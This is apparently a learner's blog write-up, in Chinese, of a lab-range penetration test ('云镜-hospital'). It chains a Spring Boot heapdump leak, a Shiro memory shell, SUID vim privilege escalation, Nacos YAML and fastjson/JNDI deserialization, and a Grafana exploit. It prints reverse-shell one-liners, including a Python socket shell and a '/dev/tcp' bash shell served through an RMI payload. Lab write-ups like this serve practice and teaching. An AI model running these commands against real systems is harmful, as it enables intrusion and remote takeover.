云镜-hospital
终于打下了一个靶场,但是觉得自己的学习方式是不对的,一直在做但是没学到东西的感觉)
参考wp,感谢大佬:
基本流程还是和Initial很像,又安装了很多工具啊
流程
开启靶场之后,用fscan扫描漏洞
8080端口有Spring Boot Actuator heapdump信息泄露漏洞, 访问/actuator/heapdump下载到heapdump文件
1 | heapdump 文件(通常扩展名为 .hprof)是 Java 虚拟机(JVM)堆内存的快照文件,记录了某一时刻内存中存储的所有对象、类、线程等信息。它常用于 调试内存泄漏、分析应用运行状态、提取敏感信息。 |
1 | java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump |
提取heapdump的敏感信息,得到了Shirokey,用shiro一把梭工具(这个工具需要用Java8运行)注入内存马,之后用蚁剑连接
无法读root目录
本地suid提权 介绍一下suid提权
1 | find / -user root -perm -4000 -print 2>/dev/null |
1 | 反弹shell |
python反弹shell命令
web01: python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip地址”,2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)’
获取伪终端 python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
vim.basic提权读flag1 vim.basic /root/flag/flag01.txt
提权到root /usr/bin/vim.basic -c ‘:python3 import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’
一个很重要的技巧,拿到一台主机的shell后可以上传公钥用finalshell连接,方便传文件
上传fscan到web01,继续扫
172.30.12.6:8848有nacos,先frp内网穿透挂代理,nacos nacos登录
yaml反序列化
用Nacos漏洞综合利用工具生成恶意jar包(用java8打包)
因为172.30.12.6不出网,不能上传jar包,所以把yaml-payload.jar传到web01并开启http服务,NacosExploitGUI_v4.0利用漏洞
修改文件新增一个用户并加入管理员组,远程桌面连接找到flag2
当时一直登录不成功,没明白原因
接下来是172.30.12.236,bp要挂代理才能抓包
username和password是json格式
jndi_tool工具
1 | java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 “bash -i >& /dev/tcp/172.30.12.5/9595 0>&1” |
同时用bp将json改为
1 | { |
让服务器访问 rmi://172.30.12.5:8888/Object
,并可能加载并执行远程恶意类,实现远程命令执行
成功反弹shell
同样上传ssh公钥或者直接改密码,可以直接连接
上传fscan扫描, 172.30.54.12是最后一台机器
需要挂两层代理,proxifier设置代理链先写第一层再写第二层,成功了
把grafanaExp传到web03
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
得到postgres的密码Postgres@123,用navicat连接
接下来是数据库提权技术,我只能参照师傅们的wp操作,最后反弹shell
技术和工具
Shiro反序列化 https://blog.csdn.net/Fighting_hawk/article/details/125562498
suid提权 https://blog.csdn.net/Fly_hps/article/details/80428173
Nacos Yaml反序列化 https://github.com/charonlight/NacosExploitGUI
fastjson反序列化
数据库提权
要多想